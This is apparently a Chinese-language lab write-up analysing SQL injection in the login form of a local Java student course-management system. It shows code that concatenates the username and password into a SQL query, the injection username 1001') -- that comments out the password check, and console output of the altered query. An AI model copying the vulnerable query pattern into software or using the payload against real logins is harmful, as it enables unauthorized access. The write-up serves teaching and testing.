

分析 LoginFrame.java

```
1  if(selectedItem.equals("教师"))
2      loginQuery = "SELECT * FROM 教师表 WHERE(登陆帐号='" + loginUserName + "' AND 登陆密
   码='" + loginPassword + "')";
3  else if(selectedItem.equals("管理员"))
4      loginQuery = "SELECT * FROM 管理员 WHERE(用户名='" + loginUserName + "' AND 密码='"
   + loginPassword + "')";
5  else //(selectedItem.equals("学生"))
6      loginQuery = "SELECT * FROM 学生基本信息表 WHERE(学号='" + loginUserName + "' AND 密
   码='" + loginPassword + "')";
7  loginStatement = loginConnection.createStatement();
8  System.out.println(loginQuery); // XD
9  loginResultSet = loginStatement.executeQuery( loginQuery );
10 boolean Records = loginResultSet.next();
11 if ( ! Records )
12 {
13     JOptionPane.showMessageDialog(LoginFrame.this, "没有此用户或密码错误" );
14     return;
15 }
16 else
17 {
18     login = 1 ;
19 }
```

可知验证身份的 SQL 语句为

```
1  "SELECT * FROM 教师表 WHERE(登陆帐号='" + loginUserName + "' AND 登陆密码='" +
   loginPassword + "')
```

构造特殊用户名 1001') -- 密码随意



则最终 Query 为

```
1  SELECT * FROM 教师表 WHERE(登陆帐号='1001') -- ' AND 登陆密码 ='qqqq')
```

对密码的验证成功被注释掉 成功登入系统



```
9 import javax.xml.crypto.Data;
10
11 public class Main
12 {
13     Run | Debug
14     public static void main(String[] args)
15     {
16         try{
17             DataBaseInfo.initDataBase();
18             JFrame myFrame = new LoginFrame();
19             myFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
20             myFrame.setVisible(true);
21         } catch (Exception e){
22             System.out.println(e.toString());
23         }
24     }
25 }
```

学生选课管理系统

系统维护 功能选项 帮助

欢迎使用学生信息管理系统

问题 83 调试控制台 终端

```
at java.awt.EventQueue.run(EventQueue.java:82)
PS D:\Echokovo\Desktop\StudentCourse> d:; cd 'd:\Echokovo\Desktop\StudentCourse'; & 'C:\Program Files\Java\jdk1.8.0_202\bin\java.exe' -cp 'd:\Echokovo\Desktop\StudentCourse\cp_4f9xcoqov7tyjqt6klj80a5.jar' Main
url = jdbc:mysql://localhost:3306/sc
SELECT * FROM 教师表 WHERE(登陆帐号='1001') -- ' AND 登陆密码 ='qqqq')
PS D:\Echokovo\Desktop\StudentCourse> d:; cd 'd:\Echokovo\Desktop\StudentCourse'; & 'C:\Program Files\Java\jdk1.8.0_202\bin\java.exe' -cp 'd:\Echokovo\Desktop\StudentCourse\cp_4f9xcoqov7tyjqt6klj80a5.jar' Main
url = jdbc:mysql://localhost:3306/sc
SELECT * FROM 教师表 WHERE(登陆帐号='1001') -- ' AND 登陆密码 ='qqqq')
[]
```